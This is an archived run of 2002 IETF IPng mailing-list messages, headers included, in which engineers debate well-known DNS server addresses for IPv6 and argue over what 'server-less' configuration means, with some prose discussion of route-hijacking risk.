(PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3J4GZIA008281 for ; Thu, 18 Apr 2002 21:16:35 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA27635 for ; Thu, 18 Apr 2002 21:16:38 -0700 (PDT) Received: from mail2.noc.ntt.co.jp (mail2.noc.ntt.co.jp [210.163.32.54]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id WAA25979 for ; Thu, 18 Apr 2002 22:16:36 -0600 (MDT) Received: from ms2-gw.noc.ntt.com (ms2-gw.noc.ntt.com) by mail2.noc.ntt.co.jp (8.9.3/NOC-MAIL1) id NAA15700; Fri, 19 Apr 2002 13:16:32 +0900 (JST) Received: from mr2-gw.noc.ntt.com by ms2-gw.noc.ntt.com (8.9.3/3.7W) id NAA00130; Fri, 19 Apr 2002 13:16:31 +0900 (JST) Received: from mail2.noc.ntt.com by mr2-gw.noc.ntt.com (8.9.3/3.7W) id NAA00112; Fri, 19 Apr 2002 13:16:30 +0900 (JST) Received: from r505r by mail2.noc.ntt.com (8.9.3/3.7W) id NAA17164; Fri, 19 Apr 2002 13:16:29 +0900 (JST) Message-ID: <004901c1e758$9d8211d0$2ba0240a@local> From: "Yamasaki Toshi" To: "Bill Manning" Cc: , , , References: <200204181733.g3IHXEZ04858@boreas.isi.edu> Subject: Re: Stateless DNS discovery draft Date: Fri, 19 Apr 2002 12:54:15 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > hogwash. if one expects DNS servers to always be available > at, for example, fe80:dead:beef::53, then -anyone- can make > a server available at that address, not just the site admin. Sure :-) But we are not talking about well-known-LINK-LOCAL, but well-known-SITE-LOCAL or well-known-GLOBAL. In this case, how do you do that while you can't control routes? -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 18 21:44:22 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3J4iMIA008346; Thu, 18 Apr 2002 21:44:22 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3J4iMSw008345; Thu, 18 Apr 2002 21:44:22 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3J4iJIA008338 for ; Thu, 18 Apr 2002 21:44:19 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA01014 for ; Thu, 18 Apr 2002 21:44:22 -0700 (PDT) Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA01972 for ; Thu, 18 Apr 2002 22:44:21 -0600 (MDT) Received: (from bmanning@localhost) by boreas.isi.edu (8.11.6/8.11.2) id g3J4Ysp06396; Thu, 18 Apr 2002 21:34:54 -0700 (PDT) From: Bill Manning Message-Id: <200204190434.g3J4Ysp06396@boreas.isi.edu> Subject: Re: Stateless DNS discovery draft In-Reply-To: <004901c1e758$9d8211d0$2ba0240a@local> from Yamasaki Toshi at "Apr 19, 2 12:54:15 pm" To: t.yamasaki@ntt.com (Yamasaki Toshi) Date: Thu, 18 Apr 2002 21:34:54 -0700 (PDT) Cc: bmanning@ISI.EDU, john.loughney@nokia.com, Jonne.Soininen@nokia.com, ipng@sunroof.eng.sun.com X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk % > hogwash. if one expects DNS servers to always be available % > at, for example, fe80:dead:beef::53, then -anyone- can make % > a server available at that address, not just the site admin. % % Sure :-) % But we are not talking about well-known-LINK-LOCAL, but % well-known-SITE-LOCAL or well-known-GLOBAL. % % In this case, how do you do that while you can't control routes? Its harder w/ v4 than v6. v6, its dirt simple. turn on routing for your DNS server. It advertizes its self and the well-known address to the local segment. Odds are that the well-known prefix is "nearer" from this new router than from the "offical" egress point. Other nodes, listening to RA/ND see this new router and the well-known prefix. can you say hijack? next. (Honestly, have none of you actually run a network or is it all just simulation?) --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 18 21:51:37 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3J4paIA008368; Thu, 18 Apr 2002 21:51:37 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3J4pakF008367; Thu, 18 Apr 2002 21:51:36 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3J4pXIA008360 for ; Thu, 18 Apr 2002 21:51:33 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA11543 for ; Thu, 18 Apr 2002 21:51:36 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA12001 for ; Thu, 18 Apr 2002 22:51:34 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id A69EE4B22; Fri, 19 Apr 2002 13:51:26 +0900 (JST) To: Bill Manning Cc: t.yamasaki@ntt.com (Yamasaki Toshi), john.loughney@nokia.com, Jonne.Soininen@nokia.com, ipng@sunroof.eng.sun.com In-reply-to: bmanning's message of Thu, 18 Apr 2002 21:34:54 MST. <200204190434.g3J4Ysp06396@boreas.isi.edu> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Stateless DNS discovery draft From: itojun@iijlab.net Date: Fri, 19 Apr 2002 13:51:26 +0900 Message-ID: <1886.1019191886@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Its harder w/ v4 than v6. v6, its dirt simple. > turn on routing for your DNS server. It advertizes > its self and the well-known address to the local segment. > Odds are that the well-known prefix is "nearer" from > this new router than from the "offical" egress point. > Other nodes, listening to RA/ND see this new router > and the well-known prefix. can you say hijack? the issues with anycast address is documented in draft-ietf-ipngwg-ipv6-anycast-analysis-00.txt (pending IESG review), so we don't need to repeat it here. i can buy the argument with router advertisement, however, i cannot for routing advertisements. if you don't protect routing infrastructure, it's your fault. routing protocols must be secured or you are in trouble. btw - both RIPng and OSPFv3 relies upon IPsec over multicast and do not define its own security mechanism. i wonder how many implementation can do this. IPsec over multicast is, i would say, hard (not to mention automatic key exchange). itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 18 23:49:19 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3J6nIIA008782; Thu, 18 Apr 2002 23:49:19 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3J6nIEM008781; Thu, 18 Apr 2002 23:49:18 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3J6nFIA008774 for ; Thu, 18 Apr 2002 23:49:15 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA29297 for ; Thu, 18 Apr 2002 23:49:17 -0700 (PDT) Received: from mail3.noc.ntt.co.jp (mail3.noc.ntt.co.jp [210.163.32.58]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA13476 for ; Fri, 19 Apr 2002 00:49:16 -0600 (MDT) Received: from ms2-gw.noc.ntt.com (ms2-gw.noc.ntt.com) by mail3.noc.ntt.co.jp (8.9.3/NOC-MAIL3) id PAA14444; Fri, 19 Apr 2002 15:49:15 +0900 (JST) Received: from mr2-gw.noc.ntt.com by ms2-gw.noc.ntt.com (8.9.3/3.7W) id PAA20447; Fri, 19 Apr 2002 15:49:14 +0900 (JST) Received: from mail2.noc.ntt.com by mr2-gw.noc.ntt.com (8.9.3/3.7W) id PAA20434; Fri, 19 Apr 2002 15:49:14 +0900 (JST) Received: from r505r by mail2.noc.ntt.com (8.9.3/3.7W) id PAA28723; Fri, 19 Apr 2002 15:49:12 +0900 (JST) Message-ID: <00bb01c1e76d$f2fbbc00$2ba0240a@local> From: "Yamasaki Toshi" To: "Bill Manning" Cc: , , , References: <200204190434.g3J4Ysp06396@boreas.isi.edu> Subject: Re: Stateless DNS discovery draft Date: Fri, 19 Apr 2002 15:37:28 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Its harder w/ v4 than v6. v6, its dirt simple. > turn on routing for your DNS server. It advertizes > its self and the well-known address to the local segment. > Odds are that the well-known prefix is "nearer" from > this new router than from the "offical" egress point. > Other nodes, listening to RA/ND see this new router > and the well-known prefix. can you say hijack? That's exactly the words which I expect. As Itojun said, it's an issue of routing security. As I said, >Yes, there are security issues, but no worse than non-well-known > address methods. you have almost the same issue which you described above, whether you use well-known or non-well-known. --- Toshi -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 19 01:06:35 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3J86YIA008928; Fri, 19 Apr 2002 01:06:34 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3J86Y4f008927; Fri, 19 Apr 2002 01:06:34 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3J86PIA008920 for ; Fri, 19 Apr 2002 01:06:25 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA18766 for ; Fri, 19 Apr 2002 01:06:09 -0700 (PDT) Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA09962 for ; Fri, 19 Apr 2002 02:06:09 -0600 (MDT) Received: (from bmanning@localhost) by boreas.isi.edu (8.11.6/8.11.2) id g3J84TQ28742; Fri, 19 Apr 2002 01:04:29 -0700 (PDT) From: Bill Manning Message-Id: <200204190804.g3J84TQ28742@boreas.isi.edu> Subject: Re: Stateless DNS discovery draft In-Reply-To: <1886.1019191886@itojun.org> from "itojun@iijlab.net" at "Apr 19, 2 01:51:26 pm" To: itojun@iijlab.net Date: Fri, 19 Apr 2002 01:04:29 -0700 (PDT) Cc: bmanning@ISI.EDU, t.yamasaki@ntt.com, john.loughney@nokia.com, Jonne.Soininen@nokia.com, ipng@sunroof.eng.sun.com X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk % routing protocols must be secured % or you are in trouble. % itojun the problem is, most (all?) routing protocols are "trusting" i.e. none are inherently securable. For now, its "bags on the side" if it can be done at all. -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 19 01:12:14 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3J8CDIA008959; Fri, 19 Apr 2002 01:12:13 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3J8CDNI008958; Fri, 19 Apr 2002 01:12:13 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3J8CAIA008951 for ; Fri, 19 Apr 2002 01:12:10 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA20725 for ; Fri, 19 Apr 2002 01:12:13 -0700 (PDT) Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA11689 for ; Fri, 19 Apr 2002 02:12:12 -0600 (MDT) Received: (from bmanning@localhost) by boreas.isi.edu (8.11.6/8.11.2) id g3J8Bv800622; Fri, 19 Apr 2002 01:11:57 -0700 (PDT) From: Bill Manning Message-Id: <200204190811.g3J8Bv800622@boreas.isi.edu> Subject: Re: Stateless DNS discovery draft In-Reply-To: <00bb01c1e76d$f2fbbc00$2ba0240a@local> from Yamasaki Toshi at "Apr 19, 2 03:37:28 pm" To: t.yamasaki@ntt.com (Yamasaki Toshi) Date: Fri, 19 Apr 2002 01:11:57 -0700 (PDT) Cc: bmanning@ISI.EDU, john.loughney@nokia.com, Jonne.Soininen@nokia.com, ipng@sunroof.eng.sun.com X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk % you have almost the same issue which you described above, whether you use % well-known or non-well-known. % % --- Toshi Not so. with well-known addresses, the hijack works every time. if the nameservers (like today) are different, depending on inital configuration (/etc/resolv.conf) or passed to the node by a dhcp server, then it is much harder to hijack every node every time. However, I don't wish to impead the progress of this WG. I'll go back to tending my roses. --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 19 02:41:33 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3J9fWIA009080; Fri, 19 Apr 2002 02:41:32 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3J9fWGK009079; Fri, 19 Apr 2002 02:41:32 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3J9fTIA009072 for ; Fri, 19 Apr 2002 02:41:29 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA17456 for ; Fri, 19 Apr 2002 02:41:33 -0700 (PDT) From: john.loughney@nokia.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA23044 for ; Fri, 19 Apr 2002 02:41:27 -0700 (PDT) Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35]) by mgw-x2.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g3J9fiF15206 for ; Fri, 19 Apr 2002 12:41:44 +0300 (EET DST) Received: from esebh002.NOE.Nokia.com (unverified) by esvir03nok.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Fri, 19 Apr 2002 12:41:26 +0300 Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Fri, 19 Apr 2002 12:41:25 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Proposed IPv6 DNS Discovery Requirements Date: Fri, 19 Apr 2002 12:41:24 +0300 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEFC64F89@esebe004.NOE.Nokia.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Proposed IPv6 DNS Discovery Requirements Thread-Index: AcHm+j5j+9nYK9flS6uZ8gD/fBlztQAi9+AQ To: , Cc: X-OriginalArrivalTime: 19 Apr 2002 09:41:25.0237 (UTC) FILETIME=[5F3A3A50:01C1E786] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3J9fTIA009073 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Thomas, > > IPv6 provides two approaches to basic IPv6 configuration. One is > > server-less and is defined in IPv6 Neighbor Discover > > [RFC2461] and the IPv6 > > Stateless Address Autoconfiguration [RFC2462]. > > Note: I don't know that I understand this distinction. Calling ND > "server-less" doesn't seem entirely accurate. ND requires a router > sending the client prefix information for the addresses it is to > generate. Without that info, the client can only generate link-local > addresses. In this case, the router quacks like a server. I.e., the > client sends out an RS, the router responds with a RA. Is it not being > a server? > > I think this point is important because saying we need a "server-less" > solution implies we all agree on what server-oriented vs. server-less > actually means. I'm not sure I do. I think that the difference is that calling ND "server-less" implies that there is not an additional server required. John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 19 09:50:28 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3JGoSIA011060; Fri, 19 Apr 2002 09:50:28 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3JGoR6U011059; Fri, 19 Apr 2002 09:50:27 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3JGoOIA011052 for ; Fri, 19 Apr 2002 09:50:24 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA27283 for ; Fri, 19 Apr 2002 09:50:29 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA13267 for ; Fri, 19 Apr 2002 09:50:28 -0700 (PDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id JAA27879; Fri, 19 Apr 2002 09:50:28 -0700 (PDT) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id g3JGoRj15509; Fri, 19 Apr 2002 09:50:27 -0700 X-mProtect: <200204191650> Nokia Silicon Valley Messaging Protection Received: from UNKNOWN (198.77.202.22, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com smtpdgkjlOp; Fri, 19 Apr 2002 09:50:25 PDT Message-Id: <4.3.2.7.2.20020419094035.02bc9198@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 19 Apr 2002 09:50:01 -0700 To: Thomas Narten From: Bob Hinden Subject: Re: Proposed IPv6 DNS Discovery Requirements Cc: IPng List In-Reply-To: <200204181555.g3IFtZj07519@rotala.raleigh.ibm.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Thomas, >I think this point is important because saying we need a "server-less" >solution implies we all agree on what server-oriented vs. server-less >actually means. I'm not sure I do. I suspect that most people can tell the difference. I used these words I thought were clearer than stateless/statefull as both approaches have state. The important definition from the text is: >For this requirement, Server-less is defined to mean the DNS information >is learned with out any dependence on resources other than are needed >(i.e., links, interfaces, routers, and DNS server) to communicate with the >DNS server. It could be changed to something like "third-party-server-less" and "third-party-server-based" but that is pretty awkward. Bob -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 19 09:57:59 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3JGvxIA011098; Fri, 19 Apr 2002 09:57:59 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3JGvxVL011097; Fri, 19 Apr 2002 09:57:59 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3JGvuIA011090 for ; Fri, 19 Apr 2002 09:57:56 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA13505 for ; Fri, 19 Apr 2002 09:58:00 -0700 (PDT) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA25062 for ; Fri, 19 Apr 2002 10:58:00 -0600 (MDT) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id JAA28355 for ; Fri, 19 Apr 2002 09:58:00 -0700 (PDT) X-Delivered-For: Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id g3JGvxW28921; Fri, 19 Apr 2002 09:57:59 -0700 X-mProtect: <200204191657> Nokia Silicon Valley Messaging Protection Received: from UNKNOWN (198.77.202.22, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com smtpdcSvXzd; Fri, 19 Apr 2002 09:57:57 PDT Message-Id: <4.3.2.7.2.20020419095317.02d0e000@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 19 Apr 2002 09:57:34 -0700 To: IPng List From: Bob Hinden Subject: Re: Stateless DNS discovery draft In-Reply-To: <200204190811.g3J8Bv800622@boreas.isi.edu> References: <00bb01c1e76d$f2fbbc00$2ba0240a@local> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I disagree. Hackers who have this level of sophistication can just as easily disrupt DHCP(v4or v6) server traffic, DHCP relay traffic, and/or the traffic to DNS servers that are advertised by the DHCP servers. Bob At 01:11 AM 4/19/2002, Bill Manning wrote: >% you have almost the same issue which you described above, whether you use >% well-known or non-well-known. >% >% --- Toshi > > Not so. with well-known addresses, the hijack works > every time. if the nameservers (like today) are > different, depending on inital configuration (/etc/resolv.conf) > or passed to the node by a dhcp server, then it is much > harder to hijack every node every time. > > However, I don't wish to impead the progress of this WG. > I'll go back to tending my roses. > >--bill >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 19 10:30:28 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3JHUSIA011337; Fri, 19 Apr 2002 10:30:28 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3JHUR4C011336; Fri, 19 Apr 2002 10:30:27 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3JHUOIA011329 for ; Fri, 19 Apr 2002 10:30:24 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA28494 for ; Fri, 19 Apr 2002 10:30:27 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA23371 for ; Fri, 19 Apr 2002 10:30:27 -0700 (PDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id 570901C7E for ; Fri, 19 Apr 2002 13:30:26 -0400 (EDT) Date: Fri, 19 Apr 2002 13:30:26 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4.3.2.7.2.20020419094035.02bc9198@mailhost.iprg.nokia.com> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) References: <4.3.2.7.2.20020419094035.02bc9198@mailhost.iprg.nokia.com> MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020419173026.570901C7E@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Fri, 19 Apr 2002 09:50:01 -0700, Bob Hinden wrote: > > I suspect that most people can tell the difference. No, Bob, that's exactly the point. You see a difference. I see a difference. But is the difference you see the same as the difference I see? Maybe, maybe not. I understand that you're trying to avoid spelling all this out in mindnumbingly tedious detail, but in this case I think you really have to do so. Lack of clarity is how we 